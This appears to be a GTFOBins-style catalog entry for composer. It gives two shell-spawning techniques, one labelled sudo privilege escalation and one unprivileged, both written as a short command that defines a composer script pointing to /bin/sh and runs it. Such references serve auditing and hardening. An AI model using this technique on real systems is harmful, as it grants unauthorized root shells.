CatalogGTFOBins

GTFO · Tool

composer

2 techniquesLinuxGTFOBinsGPL-3.0

shell

ExecutionPrivilege EscalationLinux
echo '{"scripts":{"x":"/bin/sh"}}' >composer.json
composer run-script x
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux
echo '{"scripts":{"x":"/bin/sh"}}' >composer.json
composer run-script x
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059